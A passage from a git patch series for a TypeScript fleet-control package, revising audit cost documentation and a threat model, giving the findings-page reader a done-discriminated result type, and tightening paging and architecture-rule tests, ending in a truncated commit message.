{operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call. The result is `done`-discriminated: a page that is not `done` always carries the cursor, and only the final page may omit it — it is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so every accepted page either reports `done` or advances your cursor. That is strict progress rather than termination: the reader carries no row cap, so a store that keeps serving conforming non-final pages keeps your loop running. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. -Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set is the larger of the two by row count — its read cap is 990,000 rows against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. +Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. The equivalence proof assumes that `start` accepts its inputs: at most 10,000 caller records whose canonical bytes total at most 16 MiB, each within the 96 KiB staged-row byte bound and the per-record structure bounds — plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key; every record satisfies the deployment identifier grammar, and any explicit generation is a positive safe integer. The bounded path differs from the drain in exactly four classes. First, every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic. Second, any unsafe finding detail, whether composed or passed through, becomes the fixed withheld-detail fallback. Third, concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth; the bounded path's typically older snapshot makes both outcomes more likely than in a drain at audit start. Fourth, `emission-bound-exceeded` (from either the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart: `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain, under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index d9016437..4c43b863 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -170,7 +170,7 @@ Only a finalized generation is readable. Partial, failed, and count-divergent ge ### Bounded fleet audit -A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. Caller-supplied *functions* are the one input the intake does not snapshot, so the coordinator still calls back into caller code after it: a start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. +A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. That snapshot does not cover the caller-supplied functions, the three store ports, or `maxItemsPerCall`: those are read fresh on every call, so the coordinator still reaches caller code after the intake pass. A start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes. @@ -180,7 +180,7 @@ The bounded engine never persists the raw diagnostic bytes a one-shot audit comp An audit start pins exactly one finalized R3 inventory generation before it stages any row and keeps that pin through completion, so a finding page stays interpretable against the exact generation it was computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or operator abandonment releases the pin; a crash between a terminal commit and its pin release leaves a terminal-but-still-pinned window that the next prune or abandonment call closes, release-first, so an orphan pin cannot outlive its operation. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winning record's persisted generation. -Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set is the larger of the two by row count — its read cap is 990,000 rows against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. +Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. ### Deployment sentinel diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 3a7d25c3..580d56ba 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -1231,10 +1231,12 @@ export async function advanceFleetAudit( * arrived in (the port lets a page arrive unordered). * * A caller pages the whole set by passing each result's `nextAfterOrdinal` - * back as `afterOrdinal` until `done`. That field is the page's greatest - * ordinal, read off the returned rows rather than recomputed by the caller - * from a prose formula, and it is absent only on an empty page — which this - * reader accepts only when `done` is set. The idiom rests on two guarantees + * back as `afterOrdinal` until `done`. The result is `done`-discriminated: a + * page that is not `done` always carries the cursor, and only the final page + * may omit it. That field is the page's greatest ordinal, read off the + * returned rows rather than recomputed by the caller from a prose formula, and + * it is absent only on an empty page — which this reader accepts only when + * `done` is set. The idiom rests on two guarantees * with two different owners. Finding ordinals are contiguous from zero because * the WRITE PATH enforces it, not because the read port promises it: this * coordinator numbers each finding row `findingCount + index`, and each @@ -1246,8 +1248,16 @@ export async function advanceFleetAudit( * the global stage pre-stages them through `stageRows` and commits the * watermark after. That a page holds the smallest qualifying ordinals IS the * conformance requirement `FleetOperationStore.readOperationRowsPage` states. - * This reader checks both instead of trusting them, so a non-conforming store - * cannot spin the loop forever. + * This reader checks both instead of trusting them, so every accepted page + * either reports `done` or advances the caller's cursor. That is strict + * progress, not termination: unlike `readAllFleetOperationRows`, this reader + * carries no row cap, so a store that keeps serving conforming non-final pages + * keeps a caller's loop running. + * + * A final page is trusted as final. The reader takes `done` from the store and + * never compares the rows it returned against the operation's own + * `FleetAuditProgress.findingCount`, so a store that reports `done` on a short + * but contiguous page truncates the caller silently. * * Refuses an unknown operation with `FleetOperationTokenOperationError`, an * operation of the other kind and a still-running operation with fixed @@ -1266,11 +1276,16 @@ export async function readFleetAuditFindingsPage( limit: number; }>, ): Promise< - Readonly<{ - findings: readonly DriftFinding[]; - done: boolean; - nextAfterOrdinal?: number; - }> + | Readonly<{ + findings: readonly DriftFinding[]; + done: true; + nextAfterOrdinal?: number; + }> + | Readonly<{ + findings: readonly DriftFinding[]; + done: false; + nextAfterOrdinal: number; + }> > { const { operationId, afterOrdinal, limit } = input; const run = await store.readOperationById(operationId); @@ -1297,12 +1312,16 @@ export async function readFleetAuditFindingsPage( for (const [index, row] of sortedRows.entries()) { if (row.ordinal !== firstOrdinal + index) return malformed(); } - const nextAfterOrdinal = sortedRows.at(-1)?.ordinal; - return { - findings: sortedRows.map((row) => driftFindingRowFromUnknown(row.payload)), - done: page.done, - ...(nextAfterOrdinal === undefined ? {} : { nextAfterOrdinal }), - }; + const findings = sortedRows.map((row) => + driftFindingRowFromUnknown(row.payload), + ); + const lastRow = sortedRows.at(-1); + // An empty page got past the guard above only because the store reported + // `done`, so this arm carries the literal rather than `page.done`. + if (lastRow === undefined) return { findings, done: true }; + return page.done + ? { findings, done: true, nextAfterOrdinal: lastRow.ordinal } + : { findings, done: false, nextAfterOrdinal: lastRow.ordinal }; } /** diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 346e59cb..68bde3c3 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -1197,7 +1197,11 @@ function buildHarness( }; } -/** Drives `advanceFleetAudit` with `continue` until the status is not 'pending'. */ +/** + * Drives `advanceFleetAudit` with `continue` until the status is not + * 'pending'. Always advances once before it inspects a status, so it never + * returns the result its caller already holds. + */ async function driveToTerminal( harness: Harness, firstToken: unknown, @@ -1211,7 +1215,9 @@ async function driveToTerminal( if (result.status !== 'pending') return result; token = result.token; } - throw new Error('driveToTerminal exceeded its iteration cap'); + throw new Error( + `driveToTerminal exceeded its ${cap}-iteration cap before a terminal result`, + ); } type PendingFleetAuditAdvance = Extract< @@ -1219,7 +1225,18 @@ type PendingFleetAuditAdvance = Extract< { status: 'pending' } >; -/** Drives `advanceFleetAudit` with `continue` until `stage.step` is `step`. */ +/** + * Drives `advanceFleetAudit` with `continue` until `stage.step` is `step`. + * Always advances once before it compares the step, so a token already parked + * on `step` still costs one call. + * + * `cap` is slack rather than derived. The guide's aggregate for a whole + * operation is `1 + records` calls plus, summed over the eleven global stages, + * `max(1, ceil(items_i / maxItemsPerCall))` each, so the bound turns on + * `maxItemsPerCall` and the per-stage source sizes rather than on the stage + * count alone: a call site that lowers `maxItemsPerCall` against a large + * source has to pass its own cap. + */ async function driveToStage( harness: Harness, firstToken: unknown, @@ -1912,8 +1929,12 @@ describe('advanceFleetAudit', () => { ); expect(started.status).toBe('pending'); if (started.status !== 'pending') throw new Error('unreachable'); - let token = (await driveToStage(harness, started.token, 'per-record')) - .token; + const atPerRecord = await driveToStage( + harness, + started.token, + 'per-record', + ); + let token = atPerRecord.token; for (const [tenant, expectedRearmCalls] of [ ['alice', 1], ['bob', 0], @@ -1980,9 +2001,9 @@ describe('advanceFleetAudit', () => { started.token, 'per-record', ); - // `authorityClockCalls` only ever increments, so zero once the global - // stages are behind us is exactly the per-iteration assertion the drive - // loop this call replaced made. + // `authorityClockCalls` only ever increments, so a zero once the global + // stages are behind us covers every call `driveToStage` just made, not + // only the last of them. expect(authorityClockCalls).toBe(0); const staleRecord = await advanceFleetAudit( harness.baseOptions({ kind: 'continue', token: atPerRecord.token }), @@ -2473,26 +2494,38 @@ describe('advanceFleetAudit', () => { // Feeding `nextAfterOrdinal` straight back is the documented idiom, so the // cursor the reader publishes — not a formula this loop recomputes — is // what has to advance. A cursor that stops advancing would spin this loop - // forever, so the page count is capped: every non-final page carries at - // least one finding, so an honest read needs at most one page per finding. - // Exhausting the cap leaves `paged` holding repeats and fails the compare. - for (let page = 0; page <= ascending.findings.length; page += 1) { + // forever, so the page count is capped. Every non-final page carries at + // least one finding, so an honest read needs at most one page per finding, + // plus one more page for a store that reports `done` only on a following + // empty page: that extra slot is why the cap is `length + 1` rather than + // `length`, and a tightening to `length` would break a legal store. + const pageCap = ascending.findings.length + 1; + let reachedDone = false; + for (let page = 0; page < pageCap; page += 1) { const next = await readFleetAuditFindingsPage(reversedStore, { operationId: orderedOperationId, limit: 2, ...(afterOrdinal === undefined ? {} : { afterOrdinal }), }); paged.push(...next.findings); - if (next.done) break; + if (next.done) { + reachedDone = true; + break; + } afterOrdinal = next.nextAfterOrdinal; } + if (!reachedDone) { + throw new Error( + `findings paging exceeded its ${pageCap}-page cap before the reader reported done`, + ); + } expect(paged).toEqual(ascending.findings); }); it('findings page: the reader verifies page conformance instead of trusting the store, and returns the next cursor off the page rows', async () => { - const control = baseRecord('controlnb1'); - const missingA = baseRecord('missingnb1a'); - const missingB = baseRecord('missingnb1b'); + const control = baseRecord('control29'); + const missingA = baseRecord('missing29a'); + const missingB = baseRecord('missing29b'); const records = [control, missingA, missingB]; const harness = buildHarness(records, inventoryFor([control])); const operationId = uuidFor(90); @@ -2506,7 +2539,10 @@ describe('advanceFleetAudit', () => { expect(conforming.done).toBe(true); expect(conforming.findings.length).toBeGreaterThanOrEqual(3); // The cursor is read off the page's own rows, so a caller never recomputes - // it from the prose formula. A full first page ends at length - 1. + // it from the prose formula. A full first page ends at length - 1. This + // pins one full page's value only; the paging loop at the end of the + // preceding test is what discriminates a published cursor from a + // recomputed formula. expect(conforming.nextAfterOrdinal).toBe(conforming.findings.length - 1); // Each case below returns a page the port forbids; every one must reach @@ -2600,7 +2636,7 @@ describe('advanceFleetAudit', () => { ); expect(emptyPage.findings).toEqual([]); expect(emptyPage.done).toBe(true); - expect(emptyPage.nextAfterOrdinal).toBeUndefined(); + expect(emptyPage).not.toHaveProperty('nextAfterOrdinal'); }); it('second-world drain-vs-bounded equivalence modulo the §5.5 difference set', async () => { diff --git a/scripts/architecture-fixtures/operation-advance-imports-provider.ts b/scripts/architecture-fixtures/operation-advance-imports-provider.ts index 68d67b41..3ece5b6a 100644 --- a/scripts/architecture-fixtures/operation-advance-imports-provider.ts +++ b/scripts/architecture-fixtures/operation-advance-imports-provider.ts @@ -5,8 +5,9 @@ // ALSO reaches a concrete transport - rather than for a bare provider import. // The runner cruises this fixture together with the real // fleet-audit-advance.ts entry and asserts that no module the real coordinator -// reaches at runtime matches this rule's own to-set, enumerated from the rule -// itself. That assertion is load-bearing: this fixture's own violations would +// reaches - over every edge, type-only ones included, which is the graph this +// reachable rule itself walks - matches the rule's own to-set, compiled from +// the rule. That assertion is load-bearing: this fixture's own violations would // otherwise mask a new one from the coordinator, because the runner's // violation-level checks test only rule names and a single to-target. import '../../packages/fleet-control/src/cloudflare-client.js'; diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index 45e04486..e247a3c9 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -29,17 +29,12 @@ const strictPlainData = 'packages/fleet-control/src/strict-plain-data.ts'; const auditAdvance = 'packages/fleet-control/src/fleet-audit-advance.ts'; const cloudflareClient = 'packages/fleet-control/src/cloudflare-client.ts'; -function runtimeAdjacency(report) { +function adjacencyOf(report, keep) { return new Map( report.modules.map((module) => [ module.source, module.dependencies - .filter( - (dependency) => - !dependency.dependencyTypes.some((type) => - erasedDependencyTypes.has(type), - ), - ) + .filter(keep) .map((dependency) => dependency.resolved) .filter((resolved) => typeof resolved === 'string') .sort(), @@ -47,6 +42,22 @@ function runtimeAdjacency(report) { ); } +/** Adjacency over runtime edges only; type-only edges are erased. */ +function runtimeAdjacency(report) { + return adjacencyOf( + report, + (dependency) => + !dependency.dependencyTypes.some((type) => + erasedDependencyTypes.has(type), + ), + ); +} + +/** Adjacency over every edge, which is the graph a reachable rule walks. */ +function fullAdjacency(report) { + return adjacencyOf(report, () => true); +} + function reaches(adjacency, source, target) { const visited = new Set(); const pending = [source]; @@ -138,6 +149,27 @@ const controls = { 'scripts/architecture-fixtures/fleet-control-export-port-imports-adapter.ts', }; +/** + * Real modules cruised alongside a fixture, so a reachable rule is evaluated + * over the graph it guards rather than over the fixture alone. + */ +const extraEntries = { + 'fleet-control-decommission-advance-is-transport-neutral': [ + decommissionAdvance, + ], + 'fleet-control-decommission-database-is-provider-neutral': [ + decommissionAdvance, + decommissionDatabase, + backendSwitch, + ], + 'fleet-control-backend-switch-does-not-reach-its-provider': [ + decommissionAdvance, + decommissionDatabase, + backendSwitch, + ], + 'fleet-control-operation-advance-avoids-concrete-transports': [auditAdvance], +}; + test('every architecture rule has an executable positive control', () => { const ruleNames = [...config.forbidden, ...config.required] .map((rule) => rule.name) @@ -145,42 +177,21 @@ test('every architecture rule has an executable positive control', () => { assert.deepEqual(Object.keys(controls).sort(), ruleNames); }); +test('every extra cruise entry is keyed by an architecture rule', () => { + const ruleNames = new Set( + [...config.forbidden, ...config.required].map((rule) => rule.name), + ); + for (const ruleName of Object.keys(extraEntries)) { + assert.ok( + ruleNames.has(ruleName), + `extraEntries names '${ruleName}', which is not an architecture rule`, + ); + } +}); + for (const [ruleName, fixture] of Object.entries(controls)) { test(`${ruleName} rejects its positive control`, () => { - const entries = (() => { - if ( - ruleName === 'fleet-control-decommission-advance-is-transport-neutral' - ) { - return [fixture, decommissionAdvance]; - } - if ( - ruleName === 'fleet-control-decommission-database-is-provider-neutral' - ) { - return [ - fixture, - decommissionAdvance, - decommissionDatabase, - backendSwitch, - ]; - } - if ( - ruleName === 'fleet-control-backend-switch-does-not-reach-its-provider' - ) { - return [ - fixture, - decommissionAdvance, - decommissionDatabase, - backendSwitch, - ]; - } - if ( - ruleName === - 'fleet-control-operation-advance-avoids-concrete-transports' - ) { - return [fixture, auditAdvance]; - } - return [fixture]; - })(); + const entries = [fixture, ...(extraEntries[ruleName] ?? [])]; const args = [ cli, '--config', @@ -231,7 +242,7 @@ for (const [ruleName, fixture] of Object.entries(controls)) { if ( ruleName === 'fleet-control-decommission-advance-is-transport-neutral' ) { - assert.deepEqual([...new Set(violations)], [ruleName]); + assert.deepEqual([...new Set(violations)].sort(), [ruleName]); assert.ok( report.summary.violations.some( (violation) => @@ -306,7 +317,7 @@ for (const [ruleName, fixture] of Object.entries(controls)) { if ( ruleName === 'fleet-control-operation-advance-avoids-concrete-transports' ) { - assert.deepEqual([...new Set(violations)], [ruleName]); + assert.deepEqual([...new Set(violations)].sort(), [ruleName]); assert.ok( report.summary.violations.some( (violation) => @@ -318,14 +329,16 @@ for (const [ruleName, fixture] of Object.entries(controls)) { const adjacency = runtimeAdjacency(report); // Exhaustive over the rule's own to-set rather than over one member, so // a real-module reach into any other forbidden target cannot hide behind - // this fixture's violations under the same rule name. + // this fixture's violations under the same rule name. The walk is over + // the unfiltered graph, type-only edges included, because that is the + // graph this reachable rule itself walks under tsPreCompilationDeps. const forbidden = new RegExp( [...config.forbidden, ...config.required].find( (rule) => rule.name === ruleName, ).to.path, ); assert.deepEqual( - reachableFrom(adjacency, auditAdvance).filter((module) => + reachableFrom(fullAdjacency(report), auditAdvance).filter((module) => forbidden.test(module), ), [], From 2739c8e1b248dd0c6671d0f42486ef04d144be48 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 3 Sep 2026 22:34:18 +0400 Subject: [PATCH 066/169] refactor(fleet-control): close the second R4-B.2 N-B.1 nit ledger Applies the sixteen nits the four review lanes raised against 75bb706: fourteen applied, one recorded without a change, one left as an observation. Six paths, +81/-50. The reader's done-discriminated result gains a name. FleetAuditFindingsPage is a local alias with per-arm JSDoc in the file's own style, marked @inline so the rendered API is unchanged; index.ts is byte-identical and the export is deferred to R4-C. The reader's JSDoc drops a clause superseded three clauses later, names the cursor field, and reflows; the guide mirrors the same terms. The threat model's list of caller-supplied inputs read after the intake pass gains signal, and its consequence is scoped to the inputs that are code -- the functions, the store ports, and signal -- rather than to maxItemsPerCall, which is a number. The real-module reach assertions of two more controls that check type-inclusive rules now walk the full adjacency like the operation-advance control; the decommission-database control stays on the runtime walk because its rule is about erasure, and the backend-switch cycle checks stay there because their message names a runtime cycle. The extraEntries map gains a guard that every listed module is present in the cruise report, so a stale path cannot satisfy a negative reachability assertion vacuously; the rule-name list is hoisted from three copies to one; and the map's comment states both of 